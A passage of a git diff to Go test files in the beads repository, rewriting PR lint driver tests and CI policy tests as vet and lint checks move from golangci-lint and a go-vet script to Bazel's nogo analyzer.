bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - // The native pass already covers darwin/non-CGO, so only the native and - // windows cross-target passes remain. - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) - } - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "windows", false) - if !strings.Contains(stdout.String(), "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") { - t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) - } -} - -func TestOSProcessRunnerSeparatesStdoutAndStderr(t *testing.T) { - const helperEnvironment = "BEADS_PR_LINT_OUTPUT_HELPER" - if os.Getenv(helperEnvironment) == "1" { - _, _ = io.WriteString(os.Stdout, `{"GOOS":"windows","CGO_ENABLED":"0"}`) - _, _ = io.WriteString(os.Stderr, "synthetic benign go env warning\n") - os.Exit(0) - } - - stdout, stderr, err := (osProcessRunner{}).output(context.Background(), commandSpec{ - name: os.Args[0], - args: []string{"-test.run=^TestOSProcessRunnerSeparatesStdoutAndStderr$"}, - env: append(os.Environ(), helperEnvironment+"=1"), - }) - if err != nil { - t.Fatalf("output helper failed: %v; stderr=%s", err, stderr) - } - if got, want := string(stdout), `{"GOOS":"windows","CGO_ENABLED":"0"}`; got != want { - t.Fatalf("stdout = %q, want JSON-only %q", got, want) - } - if got, want := string(stderr), "synthetic benign go env warning\n"; got != want { - t.Fatalf("stderr = %q, want warning-only %q", got, want) - } -} - -func TestRunParsesGoEnvStdoutWhenSuccessfulCommandWarnsOnStderr(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"windows","CGO_ENABLED":"0"}`, - goEnvStderr: "synthetic benign go env warning\n", - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - if !strings.Contains(stderr.String(), "synthetic benign go env warning") { - t.Fatalf("go env stderr warning was not surfaced: %q", stderr.String()) - } - if strings.Contains(stderr.String(), "parse native Go target") { - t.Fatalf("go env stderr corrupted stdout JSON parsing: %q", stderr.String()) - } - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want the native Windows/non-CGO pass plus the darwin cross-lint", len(runner.runCommands)) - } -} - -func TestRunPreservesNativeLintExitCodeAndStops(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - runErrors: []error{syntheticExitError{code: 23}}, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", nil, &stdout, &stderr, runner) - if code != 23 { - t.Fatalf("run exit = %d, want 23", code) +func TestStopsAtTheFirstFailingPassWithItsExitCode(t *testing.T) { + runner := newRunner() + runner.runErrors = []error{syntheticExitError{code: 3}} + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", nil, &stdout, &stderr, runner); code != 3 { + t.Fatalf("run() = %d, want the native pass's 3", code) } if len(runner.runCommands) != 1 { - t.Fatalf("lint calls = %d, want only failed native pass", len(runner.runCommands)) + t.Errorf("ran %d passes after the native pass failed", len(runner.runCommands)) } - if !strings.Contains(stderr.String(), "golangci-lint (native) failed") { - t.Fatalf("missing native failure diagnostic:\n%s", stderr.String()) + if !strings.Contains(stderr.String(), "<== nogo (native) failed") { + t.Errorf("stderr = %q, want the failed pass named", stderr.String()) + } + runner = newRunner() + runner.runErrors = []error{nil, errors.New("no exit code")} + stderr.Reset() + if code := run(nil, "/repo", nil, &stdout, &stderr, runner); code != 1 { + t.Fatalf("run() = %d, want 1 for a failure without an exit code", code) } } -func TestRunFailsClearlyWhenCapabilityIsMissing(t *testing.T) { - for _, missing := range []string{"go", "golangci-lint"} { - t.Run(missing, func(t *testing.T) { - paths := map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - } - delete(paths, missing) - runner := &recordingRunner{paths: paths} - var stderr bytes.Buffer - - if code := run(nil, "/repo", nil, io.Discard, &stderr, runner); code == 0 { - t.Fatal("missing capability unexpectedly passed") - } - if !strings.Contains(strings.ToLower(stderr.String()), missing) || !strings.Contains(stderr.String(), "PATH") { - t.Fatalf("missing %s diagnostic is unclear: %q", missing, stderr.String()) - } - }) +func TestBazelLookup(t *testing.T) { + runner := &recordingRunner{paths: map[string]string{"bazelisk": "/bin/bazelisk", "custom": "/opt/custom"}} + var stdout, stderr bytes.Buffer + // No bazel on PATH: bazelisk is the same launcher. + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native"}, &stdout, &stderr, runner); code != 0 || runner.runCommands[0].name != "/bin/bazelisk" { + t.Fatalf("run() = %d with %+v, want bazelisk", code, runner.runCommands) + } + // $BAZEL names the launcher, as the Makefile's BAZEL does. + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native", "BAZEL=custom"}, &stdout, &stderr, runner); code != 0 || runner.runCommands[1].name != "/opt/custom" { + t.Fatalf("run() = %d with %+v, want $BAZEL", code, runner.runCommands) + } + missing := &recordingRunner{} + stderr.Reset() + if code := run(nil, "/repo", nil, &stdout, &stderr, missing); code != 1 || !strings.Contains(stderr.String(), "bazel not found") { + t.Fatalf("run() = %d, stderr %q; want a missing-bazel error", code, stderr.String()) } } -func TestBuildEnvironmentMatchesBuildFlagsContract(t *testing.T) { - environ := []string{ - "PATH=/tools", - "CGO_ENABLED=0", - "GOFLAGS=-mod=readonly", - "BEADS_BUILD_TAGS=stale", +func TestEnvironmentLookupIsCaseInsensitiveOnlyOnWindows(t *testing.T) { + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"bd_lint_targets=native"}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("run() = %d", code) } - got := buildEnvironment(environ, false) - assertEnvironmentValue(t, got, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, got, "GOFLAGS", "-mod=readonly -tags=gms_pure_go", false) - assertEnvironmentValue(t, got, "BEADS_BUILD_TAGS", "gms_pure_go", false) - - defaulted := buildEnvironment([]string{"CGO_ENABLED="}, false) - assertEnvironmentValue(t, defaulted, "CGO_ENABLED", "1", false) - assertEnvironmentValue(t, defaulted, "GOFLAGS", "-tags=gms_pure_go", false) -} - -func TestBuildEnvironmentNormalizesWindowsKeyIdentity(t *testing.T) { - environ := []string{ - "cgo_enabled=0", - "CGO_ENABLED=1", - "GoFlags=-mod=readonly", - "GOFLAGS=-trimpath", - "beads_build_tags=stale", - "BEADſ_BUILD_TAGS=near-collision", - "MALFORMED", - "=C:=C:\\source\\beads", + wantPasses := 2 // the lower-case name is a different variable: every pass + if runtime.GOOS == "windows" { + wantPasses = 1 } - got := buildEnvironment(environ, true) - - assertSingleLogicalEnvironmentKey(t, got, "CGO_ENABLED") - assertSingleLogicalEnvironmentKey(t, got, "GOFLAGS") - assertSingleLogicalEnvironmentKey(t, got, "BEADS_BUILD_TAGS") - assertEnvironmentValue(t, got, "CGO_ENABLED", "1", true) - assertEnvironmentValue(t, got, "GOFLAGS", "-trimpath -tags=gms_pure_go", true) - assertEnvironmentValue(t, got, "BEADS_BUILD_TAGS", "gms_pure_go", true) - for _, preserved := range []string{"BEADſ_BUILD_TAGS=near-collision", "MALFORMED", "=C:=C:\\source\\beads"} { - if !containsExact(got, preserved) { - t.Fatalf("environment entry %q was not preserved in %#v", preserved, got) - } - } -} - -func TestRunRejectsArguments(t *testing.T) { - var stderr bytes.Buffer - code := run([]string{"--unexpected"}, "/repo", nil, io.Discard, &stderr, &recordingRunner{}) - if code != 2 { - t.Fatalf("run exit = %d, want 2", code) - } - if !strings.Contains(stderr.String(), "usage:") { - t.Fatalf("missing usage diagnostic: %q", stderr.String()) - } -} - -func assertEnvironmentValue(t *testing.T, environ []string, key, want string, caseInsensitive bool) { - t.Helper() - got, found := environmentValue(environ, key, caseInsensitive) - if !found || got != want { - t.Fatalf("%s = %q, found=%v, want %q; env=%#v", key, got, found, want, environ) - } -} - -func assertSingleLogicalEnvironmentKey(t *testing.T, environ []string, wanted string) { - t.Helper() - count := 0 - for _, entry := range environ { - key, _, ok := strings.Cut(entry, "=") - if ok && strings.ToLower(key) == strings.ToLower(wanted) { - count++ - } - } - if count != 1 { - t.Fatalf("logical environment key %s occurs %d times in %#v", wanted, count, environ) - } -} - -func containsExact(values []string, wanted string) bool { - for _, value := range values { - if value == wanted { - return true - } - } - return false -} - -func TestRunUsesEachWindowsPassSelectedToolchain(t *testing.T) { - if runtime.GOOS != "windows" { - t.Skip("Windows auto-selection creates the extra process") - } - nativeRoot, crossRoot := filepath.Join(t.TempDir(), "workspace SDK"), filepath.Join(t.TempDir(), "module SDK") - environ := []string{"Path=original", "GOTOOLCHAIN=auto", "GOROOT=custom", "GOWORK=workspace"} - runner := &recordingRunner{paths: map[string]string{"go": "launcher", "golangci-lint": "lint"}} - var probeContext context.Context - runner.outputFunc = func(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - if probeContext != nil && ctx != probeContext { - t.Fatal("toolchain discovery escaped the shared probe deadline") - } - probeContext = ctx - selected := nativeGoEnvironment{GOOS: "windows", CGOEnabled: "1", GOROOT: nativeRoot, GOVERSION: "go1.26.7"} - if work, _ := environmentValue(spec.env, "GOWORK", true); work == "off" { - selected.GOROOT, selected.GOVERSION, selected.CGOEnabled = crossRoot, "go1.26.5", "0" - } - assertEnvironmentValue(t, spec.env, "PATH", "original", true) - if spec.name != "launcher" { - if spec.name != filepath.Join(selected.GOROOT, "bin", "go.exe") { - t.Fatalf("candidate = %q, root = %q", spec.name, selected.GOROOT) - } - assertEnvironmentValue(t, spec.env, "GOTOOLCHAIN", "local", true) - } - data, err := json.Marshal(selected) - return data, nil, err - } - var stderr bytes.Buffer - if code := run(nil, ".", environ, io.Discard, &stderr, runner); code != 0 || len(runner.runCommands) != 2 { - t.Fatalf("run = %d, passes = %d, stderr=%s", code, len(runner.runCommands), &stderr) - } - for index, root := range []string{nativeRoot, crossRoot} { - env := runner.runCommands[index].env - assertSingleLogicalEnvironmentKey(t, env, "PATH") - assertEnvironmentValue(t, env, "PATH", filepath.Join(root, "bin")+";original", true) - assertEnvironmentValue(t, env, "GOTOOLCHAIN", "auto", true) - assertEnvironmentValue(t, env, "GOROOT", "custom", true) - } - if environ[0] != "Path=original" { - t.Fatal("lint changed the caller's PATH") - } -} - -func TestSelectedGoFallsBackForNonstandardSDK(t *testing.T) { - root := t.TempDir() - selected := nativeGoEnvironment{GOROOT: root, GOVERSION: "go1.26.7"} - environ := []string{"Path=original", "GOTOOLCHAIN=auto", "GOROOT=custom"} - t.Run("PATH separator", func(t *testing.T) { - unsupported := selected - unsupported.GOROOT += string(os.PathListSeparator) + "SDK" - data, err := json.Marshal(unsupported) - if err != nil { - t.Fatal(err) - } - var diagnostic bytes.Buffer - got := preferSelectedGo(context.Background(), ".", environ, unsupported, &diagnostic, &recordingRunner{goEnvOutput: string(data)}) - if !reflect.DeepEqual(got, environ) || !strings.Contains(diagnostic.String(), "retaining original Go PATH") { - t.Fatalf("fallback env=%v, diagnostic=%s", got, &diagnostic) - } - }) - for _, tc := range []struct { - name, root, version string - err error - }{ - {"missing executable", root, "go1.26.7", os.ErrNotExist}, - {"wrong version", root, "go1.26.5", nil}, - {"different root", filepath.Join(root, "other"), "go1.26.7", nil}, - {"deadline", root, "go1.26.7", context.DeadlineExceeded}, - } { - t.Run(tc.name, func(t *testing.T) { - data, err := json.Marshal(nativeGoEnvironment{GOROOT: tc.root, GOVERSION: tc.version}) - if err != nil { - t.Fatal(err) - } - runner := &recordingRunner{goEnvOutput: string(data), goEnvErr: tc.err} - var diagnostic bytes.Buffer - got := preferSelectedGo(context.Background(), ".", environ, selected, &diagnostic, runner) - if !reflect.DeepEqual(got, environ) || !strings.Contains(diagnostic.String(), "retaining original Go PATH") { - t.Fatalf("fallback env=%v, diagnostic=%s", got, &diagnostic) - } - }) - } -} - -func TestSelectedGoIsResolvedByLintChild(t *testing.T) { - const marker = "BEADS_SELECTED_GO_PROBE" - if expected := os.Getenv(marker); expected != "" { - resolved, err := exec.LookPath("go") - if err != nil { - t.Fatal(err) - } - got, gotErr := os.Stat(resolved) - want, wantErr := os.Stat(expected) - if gotErr != nil || wantErr != nil || !os.SameFile(got, want) { - t.Fatalf("child resolved %q, want identity of %q", resolved, expected) - } - return - } - if runtime.GOOS != "windows" { - t.Skip("Windows executable discovery") - } - root := t.TempDir() - selectedBin, oldBin := filepath.Join(root, "selected SDK", "bin"), filepath.Join(root, "old SDK", "bin") - for _, bin := range []string{selectedBin, oldBin} { - if err := os.MkdirAll(bin, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(bin, "go.exe"), nil, 0o755); err != nil { - t.Fatal(err) - } - } - selected := nativeGoEnvironment{GOROOT: filepath.Dir(selectedBin), GOVERSION: "go1.26.7"} - data, err := json.Marshal(selected) - if err != nil { - t.Fatal(err) - } - environ := setEnvironment(os.Environ(), map[string]string{"PATH": oldBin, marker: filepath.Join(selectedBin, "go.exe")}, true) - cmd := exec.Command(os.Args[0], "-test.run=^TestSelectedGoIsResolvedByLintChild$") - cmd.Env = preferSelectedGo(context.Background(), root, environ, selected, io.Discard, &recordingRunner{goEnvOutput: string(data)}) - if output, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("lint child Go discovery: %v\n%s", err, output) - } -} - -// TestBuildFlagsContractMatchesShellSource reads .buildflags itself and pins -// the driver constants to it. TestBuildEnvironmentMatchesBuildFlagsContract -// pins today's values from the Go side only, so the two files could drift -// apart silently: buildEnvironment appends its own -tags value and overrides -// rather than merges, which means a tag added to .buildflags alone would be -// dropped by the driver with every existing test still green. -func TestBuildFlagsContractMatchesShellSource(t *testing.T) { - _, thisFile, _, ok := runtime.Caller(0) - if !ok { - t.Fatal("runtime.Caller(0) failed") - } - repoRoot := filepath.Dir(filepath.Dir(bazeltest.CallerDir(thisFile, "scripts/pr-lint"))) - path := filepath.Join(repoRoot, ".buildflags") - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read %s: %v", path, err) - } - source := string(data) - - // export BEADS_BUILD_TAGS="gms_pure_go" - tags := regexp.MustCompile(`(?m)^export BEADS_BUILD_TAGS="([^"]*)"$`).FindStringSubmatch(source) - if tags == nil { - t.Fatalf(".buildflags no longer exports BEADS_BUILD_TAGS in the expected form:\n%s", source) - } - if tags[1] != beadsBuildTags { - t.Errorf("BEADS_BUILD_TAGS drift: .buildflags has %q, driver constant beadsBuildTags is %q; "+ - "buildEnvironment overrides rather than merges -tags, so the shell value would be silently dropped", - tags[1], beadsBuildTags) - } - - // : "${CGO_ENABLED:=1}" - cgo := regexp.MustCompile(`(?m)^: "\$\{CGO_ENABLED:=([^}]*)\}"$`).FindStringSubmatch(source) - if cgo == nil { - t.Fatalf(".buildflags no longer defaults CGO_ENABLED in the expected form:\n%s", source) - } - if got, _ := environmentValue(buildEnvironment([]string{"CGO_ENABLED="}, false), "CGO_ENABLED", false); got != cgo[1] { - t.Errorf("CGO_ENABLED default drift: .buildflags defaults to %q, buildEnvironment defaults to %q", cgo[1], got) - } - - // if [[ "${GOFLAGS:-}" != *gms_pure_go* ]]; then - guard := regexp.MustCompile(`(?m)^if \[\[ "\$\{GOFLAGS:-\}" != \*([^*]*)\* \]\]; then$`).FindStringSubmatch(source) - if guard == nil { - t.Fatalf(".buildflags no longer guards GOFLAGS in the expected form:\n%s", source) - } - if guard[1] != beadsBuildTags { - t.Errorf("GOFLAGS guard drift: .buildflags skips its append when GOFLAGS contains %q, "+ - "driver skips on %q; the two must test the same token or one appends when the other does not", - guard[1], beadsBuildTags) - } - // The shell guard is a substring match (*tag*), and buildEnvironment uses - // strings.Contains for the same reason. Pin that agreement: making only the - // Go side stricter would append a tag the wrapper had already decided was - // present. - preset := []string{"GOFLAGS=-tags=" + guard[1] + "_x"} - if got, _ := environmentValue(buildEnvironment(preset, false), "GOFLAGS", false); got != preset[0][len("GOFLAGS="):] { - t.Errorf("GOFLAGS guard is no longer the substring test .buildflags performs: got %q, want %q", - got, preset[0][len("GOFLAGS="):]) + if len(runner.runCommands) != wantPasses { + t.Errorf("%d passes, want %d", len(runner.runCommands), wantPasses) } } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index dc6148611..d6b5ce0d8 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -22,13 +22,12 @@ import ( // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the // Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, -// and scripts-go-checks runs go test's vet checks. +// and nogo (//tools/nogo) runs go test's vet checks beside every compile of +// the Bazel lanes. const ( // The legacy jobs' if: not covered. - prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prScriptsChecksJob = "scripts-go-checks" - prScriptsChecksID = "SCRIPTS_GO_CHECKS" + prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" // bazel.yml's lanes for the step add --config=sole-run whenever they // execute remotely (enabled: mode remote, and the rbe-fork modes // fork-ro/fork-rw, whose lanes are a fork's only run once @@ -334,7 +333,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } for _, c := range []string{"true", "false"} { for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) // F3: package-mcp/package-npm are bazel.yml call outputs // (needs.bazel.outputs.package-mcp), not pr.yml job @@ -345,7 +344,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } else { sc.results = map[string]string{job: res} } - id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] + id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS"}[job] if id == "" { id = prPackageGateIDs[job] } @@ -572,53 +571,55 @@ func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { } } -// PR Core's one duty the Bazel lanes do not take over runs on every PR, in -// pr.yml's required scripts-go-checks job: go test's vet checks over ./... -// (rules_go's go_test runs none). The repository policy tests and the Go -// tests that walk the checkout run under Bazel (//scripts:scripts_test and -// //test/docsync over //:repo_files), so no workflow runs `go test` over -// ./scripts/... or the equivalence allowlist any more. +// PR Core's one duty the Bazel lanes did not take over, go test's vet checks +// over ./... (rules_go's go_test runs none), is nogo's: //tools/nogo runs +// cmd/go's defaultVetFlags analyzers beside every compile of every lane, so +// bazel.yml's required test lane (`bazel test //... --config=ci`) fails on a +// finding. No workflow runs `go vet` any more. The repository policy tests +// and the Go tests that walk the checkout run under Bazel +// (//scripts:scripts_test and //test/docsync over //:repo_files), so no +// workflow runs `go test` over ./scripts/... or the equivalence allowlist +// either. func TestPRRunsGoTestsBazelSkips(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := pr.job(t, prScriptsChecksJob) - // F7b: same-repo PRs now run this job on Blacksmith (forks/Dependabot keep - // ubuntu-latest); see sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. - if job.If != "" || job.ContinueOnError || len(job.Needs) != 0 || job.RunsOn != sameRepoBlacksmith4vcpu || job.TimeoutMinutes == 0 { - t.Errorf("%s: if %q, continue-on-error %v, needs %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", - prScriptsChecksJob, job.If, job.ContinueOnError, job.Needs, job.RunsOn, job.TimeoutMinutes) + root := sourceRepoRoot(t) + // tools/nogo/analyzers.bzl's VET_PASSES are go test's vet checks (cmd/vet + // keeps -bool and -buildtags as aliases of the bools and buildtag + // analyzers). + m := regexp.MustCompile(`(?ms)^VET_PASSES = \[(.*?)^\]`).FindStringSubmatch(readPolicyFile(t, root, "tools/nogo/analyzers.bzl")) + if m == nil { + t.Fatal("tools/nogo/analyzers.bzl has no VET_PASSES list") } - if want := []string{"vet"}; !equalStrings(job.Strategy.Matrix.Check, want) { - t.Errorf("%s matrix.check = %v, want %v", prScriptsChecksJob, job.Strategy.Matrix.Check, want) + var passes []string + for _, q := range regexp.MustCompile(`"([a-z]+)"`).FindAllStringSubmatch(m[1], -1) { + passes = append(passes, q[1]) } - var names []string - for _, st := range job.Steps { - names = append(names, st.Name) - if st.ContinueOnError != nil { - t.Errorf("%s step %q has continue-on-error", prScriptsChecksJob, st.Name) + var want []string + for _, flag := range goTestDefaultVetFlags(t) { + flag = strings.TrimPrefix(flag, "-") + if alias, ok := map[string]string{"bool": "bools", "buildtags": "buildtag"}[flag]; ok { + flag = alias } + want = append(want, flag) } - wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore vet Go build cache", "Go vet with go test's checks"} - if !reflect.DeepEqual(names, wantNames) { - t.Errorf("%s steps %q, want %q", prScriptsChecksJob, names, wantNames) + sort.Strings(passes) + sort.Strings(want) + if !reflect.DeepEqual(passes, want) { + t.Errorf("tools/nogo/analyzers.bzl VET_PASSES = %v, want go test's vet checks %v", passes, want) } - st := job.step(t, "Go vet with go test's checks") - if want := "bash scripts/ci/go-test-vet.sh"; st.Run != want || st.If != "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}" || - !reflect.DeepEqual(st.Env, map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}) { - t.Errorf("%s vet step: run %q, if %q, env %v", prScriptsChecksJob, st.Run, st.If, st.Env) + if module := readPolicyFile(t, root, "MODULE.bazel"); !strings.Contains(module, "go_sdk.nogo(\n includes = [\"//:__subpackages__\"],\n nogo = \"//tools/nogo\",\n)") { + t.Error("MODULE.bazel does not register //tools/nogo for every first-party package (go_sdk.nogo)") } - gate := pr.job(t, "ci-gate") - env := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, prScriptsChecksJob) || env[prScriptsChecksID] != "${{ needs."+prScriptsChecksJob+".result }}" || - !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prScriptsChecksID) { - t.Errorf("ci-gate does not require %s", prScriptsChecksID) + if _, err := os.Stat(filepath.Join(root, "scripts", "ci", "go-test-vet.sh")); err == nil { + t.Error("scripts/ci/go-test-vet.sh is back; go test's vet checks run as nogo") } - // Nothing else in pr.yml runs go-test-vet.sh, and no workflow brings back - // a go test of the scripts packages or of the allowlist (they run under - // Bazel). - for name, j := range pr.Jobs { - for _, st := range j.Steps { - if strings.Contains(st.Run, "go-test-vet.sh") && name != prScriptsChecksJob { - t.Errorf("%s step %q runs go-test-vet.sh; only %s does", name, st.Name, prScriptsChecksJob) + goVet := regexp.MustCompile(`\bgo vet\b|go-test-vet\.sh`) + for _, wf := range []string{"pr.yml", "main.yml", "nightly.yml", "pr-risk.yml", bazelWorkflowName} { + for name, j := range readCIWorkflow(t, wf).Jobs { + for _, st := range j.Steps { + if goVet.MatchString(st.Run) { + t.Errorf("%s %s step %q runs go vet; nogo runs its checks in the Bazel lanes", wf, name, st.Name) + } } } } @@ -633,45 +634,11 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { } } } - // main.yml's push-only go-vet-cache job (F5.3) is the one explicit - // exception: it warms the vet cache pr.yml's vet leg restores, and - // nothing else in main.yml may run go-test-vet.sh either. - for name, j := range readCIWorkflow(t, "main.yml").Jobs { - for _, st := range j.Steps { - if strings.Contains(st.Run, "go-test-vet.sh") && name != "go-vet-cache" { - t.Errorf("main.yml %s step %q runs go-test-vet.sh; only go-vet-cache may", name, st.Name) - } - } - } - if got := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache").step(t, "Go vet with go test's checks").Run; got != "bash scripts/ci/go-test-vet.sh" { - t.Errorf("main.yml go-vet-cache does not run go-test-vet.sh: %q", got) - } - root := sourceRepoRoot(t) for _, gone := range []string{"scripts/ci/allowlisted-go-tests.sh", "scripts/ci/scripts-go-test.sh", "tools/bazel/run_allowlisted_go_tests.py"} { if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { t.Errorf("%s is back; the tests it ran under go test run under Bazel", gone) } } - prelude := []string{ - "set -euo pipefail", - `SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"`, - `REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"`, - `source "$REPO_ROOT/.buildflags"`, - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `cd "$REPO_ROOT"`, - "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", - `ci_time "go vet (go test's checks)" -- \`, - `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, - } - var code []string - for _, line := range strings.Split(readPolicyFile(t, root, "scripts/ci/go-test-vet.sh"), "\n") { - if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { - code = append(code, l) - } - } - if !reflect.DeepEqual(code, prelude) { - t.Errorf("scripts/ci/go-test-vet.sh code changed:\n%s\nwant:\n%s", strings.Join(code, "\n"), strings.Join(prelude, "\n")) - } // The allowlist's remaining skip entries run in pr-preflight-platforms // (every OS), each named in its go test selector. fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run @@ -689,7 +656,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { // goTestDefaultVetFlags: the vet checks go.mod's Go toolchain gives `go test` // (cmd/go's defaultVetFlags), read from its source, so a Go upgrade that -// changes them fails here until go-test-vet.sh follows. Under Bazel the +// changes them fails here until tools/nogo/analyzers.bzl follows. Under Bazel the // toolchain is the registered SDK (testGo). func goTestDefaultVetFlags(t *testing.T) []string { t.Helper() diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0157ad143..bde3778fe 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1535,7 +1535,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // otherwise force a full repack and conflict on unrelated shard lines (see // --repack below for the explicit opt-in to that). Run --check here so a // block with missing/stale/duplicate names fails go test ./scripts/... -// (and so scripts-go-checks, which runs on fork PRs) instead of only +// (//scripts:scripts_test under Bazel) instead of only // surfacing as a test silently never running in any shard. The legacy // 15-shard block is deliberately excluded: its header documents that it is // frozen and must not be regenerated (see diff --git a/scripts/prlintmake/prlintmake_test.go b/scripts/prlintmake/prlintmake_test.go index 20298f6a1..4f5101a08 100644 --- a/scripts/prlintmake/prlintmake_test.go +++ b/scripts/prlintmake/prlintmake_test.go @@ -86,18 +86,20 @@ func TestPRLintWrapperDelegatesPolicyToCheckoutGoDriver(t *testing.T) { if run.goArgs != "run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint" { t.Fatalf("go args = %q, want checkout driver invocation", run.goArgs) } + if strings.Contains(run.output, "gofmt ran") { + t.Fatalf("the lint wrapper ran gofmt; //scripts/repochecks:fmt_test owns it:\n%s", run.output) + } for _, want := range []string{ "CGO_ENABLED=1", "BEADS_BUILD_TAGS=gms_pure_go", "GOFLAGS=-mod=readonly -tags=gms_pure_go", - "BD_LINT_NEW_FROM_MERGE_BASE=origin/main", } { if !strings.Contains(run.goEnvironment, want+"\n") { t.Fatalf("driver environment missing %q:\n%s", want, run.goEnvironment) } } - if !strings.Contains(run.output, "==> golangci-lint (native + windows/darwin non-CGO)") || - !strings.Contains(run.output, "<== golangci-lint (native + windows/darwin non-CGO) succeeded") { + if !strings.Contains(run.output, "==> nogo (native + windows/darwin non-cgo)") || + !strings.Contains(run.output, "<== nogo (native + windows/darwin non-cgo) succeeded") { t.Fatalf("aggregate lint timing is not attributable:\n%s", run.output) } } @@ -127,17 +129,16 @@ func runPRLintWrapper(t *testing.T, goBody string) prLintWrapperRun { if err := os.MkdirAll(shimDir, 0o755); err != nil { t.Fatal(err) } - // fmt-check.sh ignores a PATH gofmt (be-gx8), so the gofmt shim goes in - // through GOFMT, as in runFmtCheck. Only the go shim needs to be on PATH. + // gofmt is //scripts/repochecks:fmt_test's, not the lint wrapper's + // (ga-96smfk.41): a gofmt that would fail every file must not be run. gofmt := filepath.Join(testRoot, "gofmt") - writeShellExecutable(t, bash, gofmt, "#!/usr/bin/env bash\nset -euo pipefail\nexit 0\n") + writeShellExecutable(t, bash, gofmt, "#!/usr/bin/env bash\nprintf 'gofmt ran\\n' >&2\nexit 1\n") writeShellExecutable(t, bash, filepath.Join(shimDir, "go"), `#!/usr/bin/env bash set -euo pipefail printf '%s\n' "$*" >"$GO_ARGS_MARKER" printf 'CGO_ENABLED=%s\n' "${CGO_ENABLED-}" >"$GO_ENV_MARKER" printf 'BEADS_BUILD_TAGS=%s\n' "${BEADS_BUILD_TAGS-}" >>"$GO_ENV_MARKER" printf 'GOFLAGS=%s\n' "${GOFLAGS-}" >>"$GO_ENV_MARKER" -printf 'BD_LINT_NEW_FROM_MERGE_BASE=%s\n' "${BD_LINT_NEW_FROM_MERGE_BASE-}" >>"$GO_ENV_MARKER" `+goBody) argsMarker := filepath.Join(testRoot, "go-args") @@ -155,20 +156,19 @@ printf 'BD_LINT_NEW_FROM_MERGE_BASE=%s\n' "${BD_LINT_NEW_FROM_MERGE_BASE-}" >>"$ ) 